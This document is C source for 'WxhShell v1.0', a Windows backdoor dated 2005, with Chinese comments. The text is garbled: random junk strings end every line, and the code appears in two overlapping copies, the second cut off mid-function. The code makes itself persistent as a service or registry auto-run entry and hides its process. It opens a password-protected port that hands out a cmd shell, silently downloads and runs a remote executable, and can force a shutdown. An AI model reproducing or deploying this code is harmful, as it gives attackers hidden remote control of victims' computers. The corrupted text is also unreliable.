    if(Boot(SHUTDOWN)) PI }A')Nq.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $o-s?";  
    else { ~(Fy GB}  
    closesocket(wsh); ]0\8g=KK  
    ExitThread(0); {At1]>  
    } ]2v31'  
    break; S c@g;+#QU  
    } }<XeZ?;  
  // 获取shell }n8,Ga%  
  case 's': { qG~O] ($  
    CmdShell(wsh); c1Dhx,]ad  
    closesocket(wsh); d]+g3oy `  
    ExitThread(0); 3{ `fT5]U  
    break; B:Msn)C~  
  } sfx:j~bsL  
  // 退出 QHA<7Wg  
  case 'x': { rU(N@i%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lQ@ 2s[  
    CloseIt(wsh); YsDn?pD@  
    break; {-H6Z#b[  
    } Rg' 1 F  
  // 离开 "bRck88V  
  case 'q': { #O G_O I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1!,lI?j,  
    closesocket(wsh); Ib]{rmaP  
    WSACleanup(); 84|Hn|4t  
    exit(1);  x@Q}sW92  
    break; qc@CV:  
        } sgFpZk  
  } E@t^IGD r  
  } ij%\ld9kd  
MB:E/  
  // 提示信息 yl)}1DPP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CkIICx  
} HZ ]'?&0  
  } 0;o`7f  
H<"{wUPT0  
  return; :Iw)xd1d}\  
} O+c@B}[!  
iv\?TAZC  
// shell模块句柄 {cC9 }w  
int CmdShell(SOCKET sock) .~C*7_  
{ |VTm5.23  
STARTUPINFO si; f |aO9w   
ZeroMemory(&si,sizeof(si)); OyFBM>6gh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^- mz!{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =|=9\3po  
PROCESS_INFORMATION ProcessInfo; X8F _Mb*  
char cmdline[]="cmd"; 8%2*RKj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /1t(e._  
  return 0; 6i,d|  
} 0l{').!_  
;PGC9v%i  
// 自身启动模式 F5:4 B]ZF  
int StartFromService(void) iC$~v#2  
{ hG; NJx-=R  
typedef struct F< Qjoaz  
{ g,mcxXO  
  DWORD ExitStatus; wbVM'E/&  
  DWORD PebBaseAddress; ;OE{&  
  DWORD AffinityMask; NC|&7qQ  
  DWORD BasePriority; |$^,e%bE  
  ULONG UniqueProcessId; X 1^f0\k  
  ULONG InheritedFromUniqueProcessId; l 8n#sGA%  
}   PROCESS_BASIC_INFORMATION; ]g!k'@  
wE;??'O'l  
PROCNTQSIP NtQueryInformationProcess; 6D@tCmmq  
'd(OFE-hn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1KAA(W;nq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &KX|gB'  
vD^^0-Pk6  
  HANDLE             hProcess; >O|hN`  
  PROCESS_BASIC_INFORMATION pbi; 6D6=5!l  
0X~Dxs   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ':kBHCR7  
  if(NULL == hInst ) return 0; q^>$YY>F  
|s[m;Qm[ku  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p~DlZk"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -9\O$I-3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9T`xW]Zf  
) ^!oM  
  if (!NtQueryInformationProcess) return 0; q$0^U{j/  
iMYvCw/t6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `%"zq"1`0  
  if(!hProcess) return 0; C.FGi`rrm  
)d_)CuUBe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &> p2N  
+);o{wfW  
  CloseHandle(hProcess); "-90:"W  
}ZlJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YLJH?=2@  
if(hProcess==NULL) return 0; O"nY4  
(/Hq8o-Fw  
HMODULE hMod; \bZbz/+D  
char procName[255]; M +~guTh  
unsigned long cbNeeded; o#4Wn'E  
VEd\*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i=#r JK=  
u ,*$n'l]  
  CloseHandle(hProcess); \/. Of]YQ  
4cTJ$" v  
if(strstr(procName,"services")) return 1; // 以服务启动 m{I_E G  
6^s]2mMfk  
  return 0; // 注册表启动 Z#3wMK~  
} fZ 17  
Zj[Bm\ 8  
// 主模块 )|q,RAn  
int StartWxhshell(LPSTR lpCmdLine) RHz'Dz>0  
{ VsNqYFHes&  
  SOCKET wsl; ?so 3Kj6H  
BOOL val=TRUE; T<mk98CdE  
  int port=0; K &Ht37T  
  struct sockaddr_in door; 9L*gxI>  
&:nWZ!D  
  if(wscfg.ws_autoins) Install(); mAX]m1s  
)U`H7\*)  
port=atoi(lpCmdLine); j}X4#{jgC  
^-f5;B`\i  
if(port<=0) port=wscfg.ws_port; x\3tSP7Vp  
|Gzd|$%Oq  
  WSADATA data; |bVNlL"xN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xa Yx avq  
>OBuHqC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U3&*,xeU@H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I^qk`5w  
  door.sin_family = AF_INET; >8#(GXnSt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o.Mb~8Yu  
  door.sin_port = htons(port); ec)G~?FH  
I,l%6oPa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \4bma<~a  
closesocket(wsl); 0 jVuF l  
return 1; 0/#XUX 4  
} "mSDL:$  
O_FT@bo\  
  if(listen(wsl,2) == INVALID_SOCKET) { .KIAeCvl\  
closesocket(wsl);  #Z"N\49  
return 1; @R9  
} 0v,DQJ?w8  
  Wxhshell(wsl); `Btdp:j8i  
  WSACleanup(); ^>72<1U%  
m32OE`s  
return 0; L>).o%(R  
KQNSYI7a  
} $xvEYK  
EJNj.c-#  
// 以NT服务方式启动 n,9 *!1y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z>7Oez>  
{ OV;Ho  
DWORD   status = 0; X6N^<Z$  
  DWORD   specificError = 0xfffffff;  4O[5,  
tkR^dC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FJ!N)`[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AA^3P?iD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QtW5; A-h  
  serviceStatus.dwWin32ExitCode     = 0; /ZvNgaH5M  
  serviceStatus.dwServiceSpecificExitCode = 0; #OJsu  
  serviceStatus.dwCheckPoint       = 0; 'lHtz ~[  
  serviceStatus.dwWaitHint       = 0; :{E3H3  
Fu^^Jex  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aEy_H-6f  
  if (hServiceStatusHandle==0) return; %&V<kH"7Q{  
C.C\(2- Rr  
status = GetLastError(); RCND|X  
  if (status!=NO_ERROR) X:j&+d2g0/  
{ ?P4`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jQ4Pv`  
    serviceStatus.dwCheckPoint       = 0; =3a`NO5!  
    serviceStatus.dwWaitHint       = 0; H) m!)=\'  
    serviceStatus.dwWin32ExitCode     = status; nR!qolh  
    serviceStatus.dwServiceSpecificExitCode = specificError; kVe^g]F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s><RL]+{G+  
    return; +7sdQCO(Co  
  } &julw;E  
~5:]Oux  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h}g _;k5R  
  serviceStatus.dwCheckPoint       = 0; D4c}z#}*0  
  serviceStatus.dwWaitHint       = 0; "@$o'rfT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )m\%L`+  
} +4G uA0N6  
8T&m{s  
// 处理NT服务事件,比如:启动、停止 )fA9,yNJ3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -+'{C =  
{ tqmM7$}}P  
switch(fdwControl) s%H5Qa+Uh  
{ 1mFc]1W  
case SERVICE_CONTROL_STOP: $gJMF(  
  serviceStatus.dwWin32ExitCode = 0; Y xGIv8O]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~N>[7I"*  
  serviceStatus.dwCheckPoint   = 0; 3-h u'xSU  
  serviceStatus.dwWaitHint     = 0; G"O %u|7  
  { $QNfy.6Tn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .^,fw=T|1  
  } f|m.v +7k  
  return; Jn' q'+  
case SERVICE_CONTROL_PAUSE: FnvN 4h{S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .: 87B=  
  break; RgRyo  
case SERVICE_CONTROL_CONTINUE: e@L+z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n`vqCO7@'  
  break; e&<#8;2X  
case SERVICE_CONTROL_INTERROGATE: IW$&V``v  
  break; oT\B-lx  
}; 4w*F!E2H\}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /+JCi6{sHS  
} ag:#82C  
V BIPB  
// 标准应用程序主函数 f$*M;|c1c/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v$+G_@  
{ p#^L ZX  
qVZ=:D{  
// 获取操作系统版本 wrK$ZO]  
OsIsNt=GetOsVer(); H1s{JJAM>i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )WwysGkqol  
eq(|%]a=  
  // 从命令行安装 e4khReF;  
  if(strpbrk(lpCmdLine,"iI")) Install(); rZKv:x}{6  
No =f&GVg  
  // 下载执行文件 '?_I-="Mr  
if(wscfg.ws_downexe) { \^|ncu:T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t{F6+dp  
  WinExec(wscfg.ws_filenam,SW_HIDE); L6r&Y~+/  
} ;Zw!  
!yoj ZG MB  
if(!OsIsNt) { %nFZA)B[  
// 如果时win9x,隐藏进程并且设置为注册表启动 gS4K](KH |  
HideProc(); 0b?9LFd  
StartWxhshell(lpCmdLine); 31w?bx !Pp  
} &{Uaa  
else dQ/Xs.8  
  if(StartFromService()) K4,VSy1byI  
  // 以服务方式启动 i:qc2#O:J  
  StartServiceCtrlDispatcher(DispatchTable); 0}Kl47}aD  
else u'yePJTE  
  // 普通方式启动 [9[tn -  
  StartWxhshell(lpCmdLine); |pq z(j7  
_^#PV}  
return 0; T_5 E  
} WuSRA<{P  
o1GWcxu*\  
}{=%j~V;&  
S4~^HvMG[Y  
=========================================== qW;nWfkYC  
XLEA|#  
o~mY,7@a  
(0Hhn2JA  
_L%/NXu,  
C UlANd"  
" V [[B~Rs  
=1VY/sv  
#include <stdio.h> 1?E\2t&K  
#include <string.h> goRoi\z $  
#include <windows.h> r/:9j(yxr  
#include <winsock2.h> :d)@|SR1  
#include <winsvc.h> %+o]1R  
#include <urlmon.h> ~qFi0<-M  
5C#&vYnq  
#pragma comment (lib, "Ws2_32.lib") ]2h~Db=  
#pragma comment (lib, "urlmon.lib") H# 2'\0u  
6CY_8/:zL  
#define MAX_USER   100 // 最大客户端连接数 l]oGhM;  
#define BUF_SOCK   200 // sock buffer z#D@mn5\ a  
#define KEY_BUFF   255 // 输入 buffer J@!Sf7k42  
_ F@>?\B  
#define REBOOT     0   // 重启 CDU^X$Q  
#define SHUTDOWN   1   // 关机 _Xsn1  
i"Ct}7i  
#define DEF_PORT   5000 // 监听端口 "W\ #d  
&NHIX(b6  
#define REG_LEN     16   // 注册表键长度 ?|N:[.  
#define SVC_LEN     80   // NT服务名长度 e)cmZ8~S  
w`F}3zm  
// 从dll定义API top3o{ 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8Ln:y'K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MbY a6jrF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iOj mj0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xqb I~jV#  
dgX0\lKpf  
// wxhshell配置信息 (VC{#^2l  
struct WSCFG { 1G{$ B^ f  
  int ws_port;         // 监听端口 j%[|XfM  
  char ws_passstr[REG_LEN]; // 口令 QL_bg:hs  
  int ws_autoins;       // 安装标记, 1=yes 0=no i` Lt=)@&  
  char ws_regname[REG_LEN]; // 注册表键名 +~w '?vNc  
  char ws_svcname[REG_LEN]; // 服务名 Q? W]g%:)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ={#r/x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ApU5,R0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 owmA]f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l~F,i n.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0fi+tc 30  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !. q*bY  
ZiVTc/b  
}; Ddt(*z /  
f.rHX<%q9B  
// default Wxhshell configuration 89'nbg  
struct WSCFG wscfg={DEF_PORT, M#F;eK2pf  
    "xuhuanlingzhe", h7gH4L!'u  
    1, ;M@ /AAZ  
    "Wxhshell", 5:^dyF&sm{  
    "Wxhshell", B0Xn9Tvk  
            "WxhShell Service", Q'$aFl'NR  
    "Wrsky Windows CmdShell Service", zzq/%jki  
    "Please Input Your Password: ", ?w3f;v  
  1, JK[7&C-O  
  "http://www.wrsky.com/wxhshell.exe", t?YGGu^  
  "Wxhshell.exe" olK%TM[Y  
    }; .hETqE`E  
3<'SnP3mY  
// 消息定义模块 sNS! /  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !{Y$5)Xh`]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |_!xA/_U'T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )|Y"^K%Jm  
char *msg_ws_ext="\n\rExit."; 7CrWsQl u  
char *msg_ws_end="\n\rQuit."; ==UH)o`?8  
char *msg_ws_boot="\n\rReboot..."; 2&Wc4,O!i  
char *msg_ws_poff="\n\rShutdown..."; qI5/ME(}  
char *msg_ws_down="\n\rSave to "; /PHktSG  
*k=Pk  
char *msg_ws_err="\n\rErr!"; JMO"(?  
char *msg_ws_ok="\n\rOK!"; ]%shs  
3&x_%R  
char ExeFile[MAX_PATH]; @kI^6(.  
int nUser = 0; 5hg>2?e9s?  
HANDLE handles[MAX_USER]; -kQ{~"> w  
int OsIsNt; h'IBVI!P  
h2h$UZIv  
SERVICE_STATUS       serviceStatus; V 1#/ +~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r95$B6  
-I\_v*nA  
// 函数声明 mIl^  
int Install(void); IE'OK  
int Uninstall(void); )oHIRsr  
int DownloadFile(char *sURL, SOCKET wsh); Q0ev*MS9Z  
int Boot(int flag); {[)J~kC+  
void HideProc(void); V `@@ufU}  
int GetOsVer(void); ]2K>#sn-]  
int Wxhshell(SOCKET wsl); `,\WhJ?9  
void TalkWithClient(void *cs); 8c]\4iau  
int CmdShell(SOCKET sock); }IEYH&4!  
int StartFromService(void); 5vg@zH\z  
int StartWxhshell(LPSTR lpCmdLine); ]7'Q2OU7  
}ndH|,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U/|B IF  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  LDwu?"P!  
I?l*GO+pz  
// 数据结构和表定义 >$HMZbsE  
SERVICE_TABLE_ENTRY DispatchTable[] = jG{xFz>x  
{ pwU]r  
{wscfg.ws_svcname, NTServiceMain}, Y @pkfH  
{NULL, NULL} 7m@pdq5Ub  
}; "+Xwc+v^  
YR~g&E#U^  
// 自我安装 %Cb8vYz~  
int Install(void)  :jB(!XH  
{ s+Ln>c'|o  
  char svExeFile[MAX_PATH]; w;r -TLf  
  HKEY key; ?ew^%1!W.  
  strcpy(svExeFile,ExeFile); f,`FbT  
3cQTl5,  
// 如果是win9x系统,修改注册表设为自启动 CaZEU(i  
if(!OsIsNt) { C+-~Gmrb(7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VY~WkSi[<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1sn!!  
  RegCloseKey(key); v_)cp9d]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6mMJ$FY+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &e3z)h  
  RegCloseKey(key); oaRPYgh4  
  return 0; KJcdX9x  
    } :vX;>SH$p  
  } 8=)A ksu  
} P#rwYPww\  
else { q0DoR@  
)p12SGR5  
// 如果是NT以上系统,安装为系统服务 =NyzX&H6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @oYTJd(v{  
if (schSCManager!=0) 0#sk]Qz  
{ s( 2=E|  
  SC_HANDLE schService = CreateService |~v($c  
  ( j!:U*}f  
  schSCManager, #@lr$^M  
  wscfg.ws_svcname, -v>BeVF  
  wscfg.ws_svcdisp, E62VuX  
  SERVICE_ALL_ACCESS, <Hm:#<\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?CL1^N%  
  SERVICE_AUTO_START, p B?a5jpA  
  SERVICE_ERROR_NORMAL, OkA-=M)RI:  
  svExeFile, *%uv7G@%N  
  NULL, >JCSOI  
  NULL, Odw SNG  
  NULL, +<bq@.x  
  NULL, McH*J j  
  NULL D95$  
  ); .' D+De&y  
  if (schService!=0) HRx#}hN?+  
  { ;#fB=[vl";  
  CloseServiceHandle(schService); gEU)UIJ  
  CloseServiceHandle(schSCManager); 6sB!m|zm]:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K2:r7f  
  strcat(svExeFile,wscfg.ws_svcname); ]DC]=F.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rv|k8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "eh"' Z  
  RegCloseKey(key); \+L_'*&8  
  return 0; ?uQ|?rk  
    } .$v]B xu  
  } :Q$3P+6a  
  CloseServiceHandle(schSCManager); f_.1)O'83  
} gtjgC0   
} fa5($jJ&  
hO{@!H$l  
return 1; )@SIFE  
} ?_n.B=H`8  
JJ qX2B  
// 自我卸载 Ra~n:$tg2  
int Uninstall(void) ]2b" oHg  
{ kFD-  
  HKEY key; YF&SH)Y7  
[ .dNX  
if(!OsIsNt) { ,,BNUj/:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lh?mN3-*  
  RegDeleteValue(key,wscfg.ws_regname); 0FTiTrTn  
  RegCloseKey(key); y~ ^>my7G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V~e1CZ(2X  
  RegDeleteValue(key,wscfg.ws_regname); 0#Rj[J;kh  
  RegCloseKey(key); zS?i@e $  
  return 0; :CK,(?t  
  } pklcRrx,a  
} )S8q.h  
} L[TL~@T   
else { |W:kzTT-T  
=bv8W < #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S$muV9z2=  
if (schSCManager!=0) L)B?p!cdLT  
{ o L6[i'H|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F)DL/';  
  if (schService!=0) UxzwgVT  
  { ]e?*7T]  
  if(DeleteService(schService)!=0) { r OB\u|Pg  
  CloseServiceHandle(schService); mO> [kb"V'  
  CloseServiceHandle(schSCManager); IwWo-WN7.  
  return 0; /_jApZz  
  } T("Fh}  
  CloseServiceHandle(schService); NG5H?hVN=  
  } 5bZ`YO  
  CloseServiceHandle(schSCManager); 2$1rS}}  
} Ej.D!@   
} :nZ*x=aq  
:Q\h'$C  
return 1; to:hMd1T  
} dF1Bo  
OQ!mL3f  
// 从指定url下载文件 3UrqV`x \  
int DownloadFile(char *sURL, SOCKET wsh) *'exvY~  
{ -P'>~W,~  
  HRESULT hr; 39~fP)  
char seps[]= "/"; ]]d@jj  
char *token; {' r(P&  
char *file; JmN;v|wF:c  
char myURL[MAX_PATH]; WNL3+  
char myFILE[MAX_PATH]; }[i35f[w  
y)(SS8JR  
strcpy(myURL,sURL); A9tQb:  
  token=strtok(myURL,seps); A9lqVMp64  
  while(token!=NULL) rZpc"<U  
  { YrZAy5\  
    file=token; cMK6   
  token=strtok(NULL,seps); o5Qlp5`:u  
  } )]qFI"B7  
M6DyOe<  
GetCurrentDirectory(MAX_PATH,myFILE); G9V zVx#T#  
strcat(myFILE, "\\"); CqrmdWN  
strcat(myFILE, file); cRU.   
  send(wsh,myFILE,strlen(myFILE),0); ]/d2*#  
send(wsh,"...",3,0); Th,2gX9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |ZRl.C/e  
  if(hr==S_OK) hj4A&`2  
return 0; 9 lA YCsX  
else ?hDEFW9&^x  
return 1; Ud{-H_m+  
c#{<| .  
} F1%' zsv  
7g&_`(  
// 系统电源模块 #UXmTrZ.  
int Boot(int flag) CT"0"~~  
{ %Yd}},X_E  
  HANDLE hToken; % )|/s %W  
  TOKEN_PRIVILEGES tkp; [;I.aT}R!;  
Bpk%,*$*)  
  if(OsIsNt) { 8q tNK> D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "Ny_RF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a`|/*{  
    tkp.PrivilegeCount = 1; 1 !\pwd@{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W%1fm/ G0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d,D)>Y'h  
if(flag==REBOOT) { Wg}#{[4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eMh:T@SN  
  return 0; cwpDad[Kx  
} KCCS7l/  
else { sDbALAp +  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y1 -cz:  
  return 0; qw_qGgbl  
} _n{N3da  
  } %8 4<@f&n]  
  else { '`3-X];p  
if(flag==REBOOT) { Ogjjjy84vM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &"^A  
  return 0; )Ba^Igb}  
} /!%P7F  
else { 8n&",)U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EkTen:{G  
  return 0; P, S9gG9  
} ~*2PmD"+:  
} }.T$bj1B;V  
,;D74h2F  
return 1; Rj E,Wn  
} >StvP=our  
1eb1Lvn  
// win9x进程隐藏模块 cAktSoF  
void HideProc(void) y*7ht{B  
{ :fj}J)9'xW  
sO(Kpo9jq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s;5PHweWf  
  if ( hKernel != NULL ) JL(*peeu3  
  { {1SxM /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oY0*T9vv+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YJ75dXc&&  
    FreeLibrary(hKernel); ueWG/`ig  
  } %[p[F~Z^Z  
c6lEWC:  
return; kbMIMZC/G  
} gE$dz#t.  
L>@6lhD)x  
// 获取操作系统版本 3\'.1p  
int GetOsVer(void) h hd n9n  
{ |Ec$%  
  OSVERSIONINFO winfo; 3]c<7vdl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~F' $p  
  GetVersionEx(&winfo); Ws1<Jt3/."  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jk1U p2#B  
  return 1; 2nEj X\BY  
  else FlkAo]  
  return 0; J'7){C"G$  
} dmF<J>[  
H%sQVE7m  
// 客户端句柄模块 ^lQ-w|7(  
int Wxhshell(SOCKET wsl) liU=5 BL  
{ MRJdQCBV  
  SOCKET wsh;  vb70~k  
  struct sockaddr_in client; |"@E"Za^  
  DWORD myID; ;yUY|o  
M>v M@j  
  while(nUser<MAX_USER) }e@j(*8  
{ M(2[X/t  
  int nSize=sizeof(client); {+r?g J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \|T0@V  
  if(wsh==INVALID_SOCKET) return 1; D(r|sw  
,-{j.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u_ Q3v9  
if(handles[nUser]==0) lI5{]?'  
  closesocket(wsh); #2WBYScW0  
else 3~ZtAgih%  
  nUser++; :X$&g sT/,  
  } z5i!GJB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5w1=j\oq  
Ri-I+7(n!  
  return 0; o0<T|zgF5,  
} d[o =  
>T(f  
// 关闭 socket IC{>q3  
void CloseIt(SOCKET wsh) I|`K;a  
{ rzO:9# d  
closesocket(wsh); Gpgi@ Uf  
nUser--; Dn6DkD!  
ExitThread(0); O&O1O> [p1  
} :#gz)r  
OOv"h\,  
// 客户端请求句柄 *v 8 ]99N  
void TalkWithClient(void *cs) -J[D:P.Z  
{ a.Mp1W  
;pULJ}rDb  
  SOCKET wsh=(SOCKET)cs; O}KT>84M  
  char pwd[SVC_LEN]; "`3H0il;<  
  char cmd[KEY_BUFF]; W"2\vo)  
char chr[1]; p(U'Ydl~  
int i,j; P!vBS "S  
ZRX>SyM  
  while (nUser < MAX_USER) { I5bi^!i  
0CDTj,eK  
if(wscfg.ws_passstr) { 95H`-A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $OUa3!U_!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&x_e-;b'  
  //ZeroMemory(pwd,KEY_BUFF); ", |wG7N K  
      i=0; V)0bLR  
  while(i<SVC_LEN) { *wSl~J|ZM%  
#Y{"`5>  
  // 设置超时 &FK=w]P  
  fd_set FdRead; k5ZwGJ#r  
  struct timeval TimeOut; =W4cWG?+  
  FD_ZERO(&FdRead); d[S!e`,iD  
  FD_SET(wsh,&FdRead); ,:v}gS?Uq  
  TimeOut.tv_sec=8; W&*{j;e9%I  
  TimeOut.tv_usec=0; t4JGd)r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J,q:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $>BP}V33  
qt1# P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yV]-![`D  
  pwd=chr[0]; d>aZpJ[.  
  if(chr[0]==0xd || chr[0]==0xa) { v\HGL56T  
  pwd=0; *3k~%RM%?  
  break; 4,aBNuxWd  
  } =djzE`)0  
  i++; {#;6$dU;(  
    } cX&c%~  
cf j6I  
  // 如果是非法用户,关闭 socket GN>T }  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +V'Z%;/  
} WK=!<FsC$  
1/{:}9Z@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2HTZ, W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B;-oa;m:E=  
'<Vvv^Er  
while(1) { 6 =kd4'yV  
]c5Shj5|p  
  ZeroMemory(cmd,KEY_BUFF); -\I0*L'$|\  
+fwq9I>L  
      // 自动支持客户端 telnet标准   uj]GBo=  
  j=0; u_[Zu8  
  while(j<KEY_BUFF) { :J<S-d=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \e=@h!p  
  cmd[j]=chr[0]; P_?1Rwm-45  
  if(chr[0]==0xa || chr[0]==0xd) { [lnN~#(Y  
  cmd[j]=0; T[7DJNdG6  
  break; *".7O*jjV  
  } 59ivL6=3  
  j++; BPPhVE  
    } 7;_5 [_  
Y Jv{Z^;M  
  // 下载文件 <bid 6Q0|  
  if(strstr(cmd,"http://")) { QK@z##U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zMG4oRPP  
  if(DownloadFile(cmd,wsh)) "90}H0(+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :N[2*.c[  
  else .58 AXg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # I<G:)  
